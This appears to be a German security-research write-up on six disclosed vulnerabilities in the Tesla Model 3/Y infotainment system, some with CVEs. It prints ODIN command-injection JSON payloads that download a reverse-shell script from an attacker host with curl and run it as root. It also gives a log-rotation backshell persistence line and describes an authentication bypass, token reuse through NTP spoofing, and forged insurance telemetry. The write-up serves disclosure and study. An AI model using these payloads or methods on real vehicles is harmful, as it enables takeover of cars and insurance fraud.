Tesla Sicherheitsforschung

Sicherheitsforschung am Infotainmentsystem des Tesla Model 3/Y (Intel Atom MCU, Linux 4.14.235), verantwortungsvoll an Tesla über Bugcrowd gemeldet.

Erlangt dauerhaften Root-Zugriff auf ein produktives Tesla Model 3 durch eine Command-Injection-Schwachstelle in Teslas ODIN-Diagnoseschnittstelle (CVE-2022-42008). Von dort aus wurden fünf weitere Schwachstellen entdeckt – darunter eine Persistenzmethode, die Firmware-Updates übersteht (CVE-2022-42005, CVE-2022-42006) und eine Methode zur Manipulation der Safety-Score-Versicherungstelemetrie, die monatliche Prämien direkt von 130 $ auf 83 $ senkte.

Sechs Schwachstellen in ODIN, hermes und Safety Score. Vier CVEs. Belohnt über Bugcrowd und aufgenommen in Teslas SSH Security Researcher Programm.

Zusammenfassung der Schwachstellen

Architektur

Das Infotainmentsystem des Tesla Model 3/Y (Intel Atom MCU) läuft auf einem Linux-basierten Betriebssystem, bei dem im Rahmen dieser Forschung mehrere Angriffsflächen identifiziert wurden:

┌──────────────────────────────────────────────────────────┐
│                  Tesla Model 3 MCU (Intel)               │
│                                                          │
│  ┌────────────┐  ┌──────────────┐  ┌──────────────────┐  │
│  │   ODIN     │  │  QtCarServer │  │  hermes          │  │
│  │            │  │              │  │  (proxy+client)  │  │
│  │  CVE-42008 │  │  prototype_  │  │                  │  │
│  │  (cmd inj) │  │  server      │  │  Uploads to      │  │
│  │            │  │  CVE-42006   │  │  Mothership      │  │
│  │  Report 06 │  │  (data vals) │  │  [Report 03]     │  │
│  │  (is-fused │  │              │  │  [Report 05]     │  │
│  │   bypass)  │  └──────────────┘  └────────┬─────────┘  │
│  └──────┬─────┘                             │            │
│         │        ┌──────────────┐           │            │
│         │        │ svlogd       │           │            │
│         │        │ Log Rotation │           │            │
│         │        │ CVE-42005    │           │            │
│         │        │ (persistence)│           │            │
│         │        └──────────────┘           │            │
└─────────┼───────────────────────────────────┼────────────┘
          │                                   │
    ┌─────┴───────┐                   ┌───────┴──────────┐
    │  Toolbox    │                   │   Mothership     │
    │  API        │                   │   Server         │
    │             │                   │                  │
    │  CVE-42007  │                   │  File uploads    │
    │  (expired   │                   │  Telemetry data  │
    │   tokens)   │                   │                  │
    └─────────────┘                   └──────────────────┘

Erlangen von Root + Persistenz

Vollständige Berichte: Root-Shell über ODIN | Log-Backshell + DV-Zugriff

Die ODIN-Diagnoseschnittstelle stellt eine Aufgabe namens TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK bereit, die einen Parameter MicTest-Input akzeptiert – eine Liste von Zeichenfolgen, die direkt an CID_EXEC zur Ausführung als root übergeben werden. Jeder Abonnent mit der niedrigsten Toolbox-Zugriffsebene (tbx-external) kann diese Aufgabe auslösen, indem er sich mit dem Diagnoseport des Fahrzeugs verbindet und eine POST-Anfrage sendet. Die Eingabezeichenfolgen werden wörtlich ausgeführt, daher besteht der Angriff aus zwei Anfragen: Zunächst ein Reverse-Shell-Skript via curl auf das Fahrzeug herunterladen:

{
    "args": {
        "kw": {
            "MicTest-Input": ["curl", "http://<ATTACKER_IP>/shell.sh", "-o", "/home/tesla/shell.sh"]
        },
        "name": "Model3/tasks/TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK"
    },
    "command": "execute"
}

Dann ausführen:

{
    "args": {
        "kw": {
            "MicTest-Input": ["/bin/sh", "/home/tesla/shell.sh"]
        },
        "name": "Model3/tasks/TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK"
    },
    "command": "execute"
}

Nachdem eine Root-Shell eingerichtet wurde, wird dauerhafter Zugriff erreicht, indem die svlogd-Protokollrotationskonfiguration übernommen wird. Der Standard-Gzip-Komprimierungsbefehl wird durch ein Skript ersetzt, das bei jeder Protokollrotation eine Backshell unter dem Benutzerkonto log öffnet:

!sh /var/log/wpa_supplicant/gzip.sh -c

Die Konfigurationsdatei wird mit chattr +i unveränderlich gemacht, sodass sie Firmware-Updates übersteht. Während das Konto log den Standardbefehl sdv nicht zum Setzen von Datenwerten verwenden kann (dbus lehnt ihn ab), bietet Teslas ruhender prototype_server uneingeschränkten Websocket-Zugriff auf alle Datenwerte, wenn er über settings.conf aktiviert wird. Ein benutzerdefinierter Satz von Shell-Skripten (sdv, lv, send.sh) emuliert einen Websocket-Client zur Interaktion mit diesem Server.

Das vollständige Persistenz-Toolkit wird über das Eingabefeld für den Zugangscode des Fahrzeugs gesteuert (sichtbar durch langes Drücken des Fahrzeugmodells auf dem Touchscreen), das von einem Listener-Skript überwacht wird, das Befehle verteilt – darunter das Öffnen von Backshells, das Setzen von Datenwerten und das Umschalten von Servicemodi.

Unabhängige Erkenntnisse

Abgelaufene ODIN-Tokens + NTP-Spoofing (CVE-2022-42007)

Teslas ODIN-Token-Generierungsendpunkt akzeptiert abgelaufene tbx-tokens und – entscheidend – gibt auch das tbx-token des Benutzers in der Antwort zurück, was einen Token-Leak durch Teilen ermöglicht. Abgelaufene ODIN-Tokens werden normalerweise vom Fahrzeug abgelehnt, aber durch Spoofing der NTP-Zeitquelle des Fahrzeugs mittels ARP-basierter Abfangung (ntpspoof.py) kann das Fahrzeug dazu gebracht werden, Tokens nach ihrem Ablaufdatum zu akzeptieren. Das Gateway erkennt NTP-Manipulation (GTW_w149_rtcTimeSetInPast), reagiert jedoch nicht auf dieses Signal.

Upload zu Mothership

Unter Verwendung der Fahrzeugzertifikate aus /var/lib/car_creds/ kann der hermes_proxy-Dienst auf einem lokalen Rechner gestartet werden, was direkten Zugriff auf Teslas Mothership-Server ermöglicht. Der Profil-Backup-Endpunkt (/vehicles/${VIN}/computer_profile) akzeptiert beliebige Datei-Uploads ohne Validierung – ein einzelner curl-Befehl lädt jede beliebige Datei auf Teslas Produktionsinfrastruktur hoch. Tesla markierte diesen Fund als N/A ("funktioniert wie vorgesehen").

Versicherungstelemetrie-Spoofing

Teslas Safety-Score-System sammelt Fahrttelemetrie vom MCU und lädt sie für die Versicherungsprämienberechnung zu Mothership hoch. Mit Root-Zugriff kann ein Telemetrie-Sample mit perfekter Punktzahl aufgezeichnet werden, dessen protobuf-codierte Kilometerstände durch Hex-Editierung (unter Verwendung des reverse-engineerten Schemas in telemetry.proto) aufgebläht und die modifizierten Samples erneut hochgeladen werden. Zwei erfundene Fahrten wurden von Mothership akzeptiert – eine davon zeigte ~2.700 Meilen in 3,5 Stunden – und senkten die monatlichen Versicherungsprämien direkt von 130 $ auf 83 $. Das grundlegende Problem ist, dass die Telemetrie vom MCU (benutzerzugänglich) und nicht vom APE3-Autopiloten (gehärtet) stammt. Tesla hat für diesen Fund keine Prämie ausgestellt.

ODIN-Authentifizierungsumgehung

Mit Root-Zugriff führt das Binden eines gefälschten is-fused-Skripts über /usr/bin/is-fused und das Neustarten der ODIN-Dienste dazu, dass ODIN glaubt, das Gerät befinde sich im Werks-/Entwicklungsmodus. In diesem Zustand kann jede ODIN-Aufgabe ohne Authentifizierungstokens ausgeführt werden – einschließlich Aufgaben, die die Fahrzeugalarmanlage deaktivieren (PROC_ICE_X_SET-DATA-VALUE), die Fahrgestellnummer löschen (PROC_ICE_X_DEASSOCIATE-PRODUCT-ID) oder möglicherweise sicherheitskritische Fahrzeugfunktionen auslösen könnten.

Werkzeuge

Haftungsausschluss

Diese Forschung wurde im Rahmen verantwortungsvoller Sicherheitsforschung durchgeführt und über Bugcrowd an Teslas Bug-Bounty-Programm gemeldet. Alle Schwachstellen mit zugewiesenen CVEs wurden in aktuellen Firmware-Versionen behoben. Dieses Repository dient ausschließlich zu Bildungszwecken.

Als Ergebnis dieser Forschung wurde das Team über Bugcrowd mit finanziellen Prämien belohnt und in Teslas SSH Security Researcher Programm aufgenommen, wobei signierte SSH-Zertifikate für den weiteren Forschungszugriff ausgestellt wurden.

Referenzen

• CVE-2022-42008 — Root-Shell über ODIN
• CVE-2022-42007 — Abgelaufene ODIN-Tokens
• CVE-2022-42006 — Prototype-Server-Datenwertzugriff
• CVE-2022-42005 — Dauerhafte Log-Shell
• Tesla Hacking: Teil 1 — Root auf einem Tesla Model 3 erlangen
• Tesla Hacking: Teil 2 — Tesla-Versicherungstelemetriedaten manipulieren
• Tesla Sicherheit

Forscher

• Matthew C. Pilsbury
• Alex Harbuzenko
• Oleg Kutkov
• Tristan Rice

Forschung durchgeführt im Auftrag der SourceHat Labs Inc.